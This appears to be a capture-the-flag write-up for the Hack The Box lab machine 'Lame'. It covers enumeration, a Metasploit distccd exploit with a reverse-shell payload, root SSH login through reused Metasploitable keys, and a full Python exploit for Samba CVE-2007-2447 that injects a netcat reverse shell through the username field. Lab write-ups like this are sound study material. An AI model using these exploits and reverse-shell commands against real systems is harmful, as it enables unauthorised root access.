10.10.10.3 - Lame - DistCC, SMB, SSH Reuse

Metasploitable like VM - back to old school
Summary:                                                                                                                                                                                                                                                            
      vulnerable software : DistCCD; POC, Netbios-ssn; POC 
      system vulnerable : 10.10.10.3
      vulnerability explanation :
      privilege escalation: SSH keys reuse, SMB Service running as root.
      severity : critical

 Enumeration:
[+] Running only TCP port scan
​
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-02-02 13:04 GMT
Nmap scan report for 10.10.10.3
Host is up (0.31s latency).
​
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: terminal|WAP|switch|specialized|general purpose|broadband router
Running (JUST GUESSING): Linux 2.4.X|2.6.X (92%), Chip PC embedded (92%), SNR embedded (90%), Crestron 2-Series (90%), Asus embedded (89%)
OS CPE: cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:snr:snr-s2960 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:2.4.18 cpe:/h:asus:rt-ac66u cpe:/o:linux:linux_kernel:2.6
Aggressive OS guesses: Chip PC XtremePC thin client (92%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (90%), OpenWrt White Russian 0.9 (Linux 2.4.30) (90%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (90%), SNR SNR-S2960 switch (90%), Crestron XPanel control system (90%), Linux 2.4.18 (90%), Asus RT-AC66U router (Linux 2.6) (89%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (89%), Asus RT-N16 WAP (Linux 2.6) (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.68 seconds

Nmap has a script that can confirm the vulnerability in distccd:
└──╼ $nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687.nse --script-args="distcc-exec.cmd='id'" -Pn
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-02-02 13:23 GMT
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
​
PORT     STATE SERVICE
3632/tcp open  distccd
| distcc-cve2004-2687: 
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|       
|     Disclosure date: 2002-02-01
|     Extra information:
|       
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|   
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|       http://distcc.googlecode.com/svn/trunk/doc/web/security.html
|       http://http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2687
|_      http://http://www.osvdb.org/13378
​
Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
​
Distccd exploitation:
msf5 exploit(unix/misc/distcc_exec) > search distcc
​
Matching Modules
================
​
   Name                           Disclosure Date  Rank       Check  Description
   ----                           ---------------  ----       -----  -----------
   exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution
​
​
msf5 exploit(unix/misc/distcc_exec) > options
​
Module options (exploit/unix/misc/distcc_exec):
​
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target address range or CIDR identifier
   RPORT   3632             yes       The target port (TCP)
​
​
Payload options (cmd/unix/reverse):
​
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.20      yes       The listen address (an interface may be specified)
   LPORT  4443             yes       The listen port
​
​
Exploit target:
​
   Id  Name
   --  ----
   0   Automatic Target
​
 Result:
Whilst browsing the root folder I found .ssh folder containing authorized_keys file with a familiar login name msfadmin:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
It made me think that this box was built upon popular pentesting VM - Metasploitable. I started this VM to compare the details and I have confirmed that kernel version is the same  as well:
All I needed to do now, was to use metasploitable id_rsa keys to login as root without a password to Lame with a command:
ssh root@10.10.10.3 -i id_rsa
Share discovery on port 139:
└──╼ $smbmap -u "" -p "" -H 10.10.10.3
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.3...
[+] IP: 10.10.10.3:445	Name: 10.10.10.3                                        
	Disk                                                  	Permissions
	----                                                  	-----------
	print$                                            	NO ACCESS
	tmp                                               	READ, WRITE
	opt                                               	NO ACCESS
	IPC$                                              	NO ACCESS
	ADMIN$                                            	NO ACCESS
​
└──╼ $enum4linux 10.10.10.3
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Feb  2 13:08:53 2019
 
 ======================================= 
|    Share Enumeration on 10.10.10.3    |
 ======================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
Unable to initialize messaging context
​
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
​
	Server               Comment
	---------            -------
​
	Workgroup            Master
	---------            -------
	WORKGROUP            LAME
​
Searchsploit Samba 3.0.20
Python version of Samba 3.0.20 < 3.0.25rc3 - 'Username' map script'
#!/usr/bin/python
# -*- coding: utf-8 -*-
​
# From : https://github.com/amriunix/cve-2007-2447
# case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
​
import sys
from smb.SMBConnection import SMBConnection
​
def exploit(rhost, rport, lhost, lport):
        payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
        username = "/=`nohup " + payload + "`"
        conn = SMBConnection(username, "", "", "")
        try:
            conn.connect(rhost, int(rport), timeout=1)
        except:
            print '[+] Payload was sent - check netcat !'
​
if __name__ == '__main__':
    print('[*] CVE-2007-2447 - Samba usermap script')
    if len(sys.argv) != 5:
        print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Connecting !")
        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = sys.argv[3]
        lport = sys.argv[4]
        exploit(rhost, rport, lhost, lport)
​
​
Exploit:
Result:
10.10.10.9 - Bastard
10.10.10.4 - Legacy - WindowsXP samba
Last updated 1 year ago